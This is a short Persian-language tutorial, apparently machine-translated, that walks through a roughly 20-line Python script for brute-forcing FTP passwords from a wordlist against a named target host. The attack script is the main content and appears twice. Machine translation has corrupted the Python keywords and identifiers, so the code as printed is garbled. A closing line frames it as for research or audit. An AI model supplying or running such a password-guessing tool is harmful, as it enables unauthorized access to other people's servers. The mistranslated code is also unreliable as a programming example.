این آموزش FTP brute-force به شما امکان می دهد ابزار brute-force ساده رمز عبور FTP Python brute-force FTP خود را بسازید.
کد کامل فقط 20 خط طول دارد و ابزار به اندازه کافی ساده است.
ایجاد یک فایل Python جدید
ابتدا یک فایل پایتون جدید ایجاد کنید و آن را ذخیره کنید ، به شما امکان می دهد این آموزش را سریعتر ویرایش و پیمایش کنید.
وارد کردن FTPlib
FTPlib یک کتابخانه استاندارد است ، از آن استفاده کنید.
قطعه کد زیر را در پرونده Python خود بنویسید. [19659008] از ftplib import FTP
فهرست گذرواژه
ابزار brute-force باید از یک لیست رمز عبور استفاده کند زیرا ما نمی خواهیم گذرواژه ها را یکی یکی وارد کنیم: -). دانلود رایگان
ha Ahadu – ژنراتور لیست گذرواژه
مقدار رشته ای را ایجاد کنید که به شما اجازه می دهد مکان فهرست_ رمز خود را مشخص کنید.
در ادامه نام کاربری پیش فرض را که قرار است استفاده کنیم اضافه خواهیم کرد و باید رشته مورد نظر را مشخص کنیم.
password_list = "my_password_list.txt" نام کاربری = "ناشناس" target = "ftp.kakoitosite.ru"
حلقه
فرآیندی را تعریف کنید ، بیایید فراخوان آن را شروع کنیم ، ما باید لیستی تهیه کنیم که شامل لیست_کلمه عبور باشد ، و باید کدی بنویسیم که لیست را در ابزار FTP brute که ایجاد کرده ایم بارگذاری کند. پایتون.
کد زیر را به اضافه کنید:
شروع شروع (): setx = [] f = باز (لیست گذرواژه) setx = f.readlines ()
افزودن مراحل حلقه و ورود به سیستم را ادامه دهید:
برای رمز ورود در setx:
رمز عبور = password.strip ()
تلاش كردن:
ftp = FTP (هدف)
ftp.login (کاربر = نام کاربری ، passwd = رمز عبور)
چاپ ("موفقیت:" ، خیابان (رمز عبور))
زنگ تفريح
به استثنای e:
print ("Fail:"، str (e)، "[X] ->"، password)
Start
آخرین مرحله ای که ما برمی داریم افزودن start () به انتهای کد پایتون است.
start ()
نتیجه نهایی
از ftplib import FTP
#گزینه ها
password_list = "my_password_list.txt"
نام کاربری = "ناشناس"
target = "ftp.kakoitosite.ru"
def start ():
setx = []
f = باز کردن (لیست گذرواژه)
setx = f.readlines ()
برای رمز عبور در setx:
رمز عبور = password.strip ()
تلاش كردن:
ftp = FTP (هدف)
ftp.login (کاربر = نام کاربری ، passwd = رمز عبور)
چاپ ("موفقیت:" ، خیابان (رمز عبور))
زنگ تفريح
به استثنای e:
print ("Fail:"، str (e)، "[X] ->"، password)
start ()
¯ _ (ツ) _ / ¯
توجه: اطلاعاتی برای تحقیق ، آموزش یا حسابرسی. مجازات قانون فدراسیون روسیه استفاده از منافع شخصی است.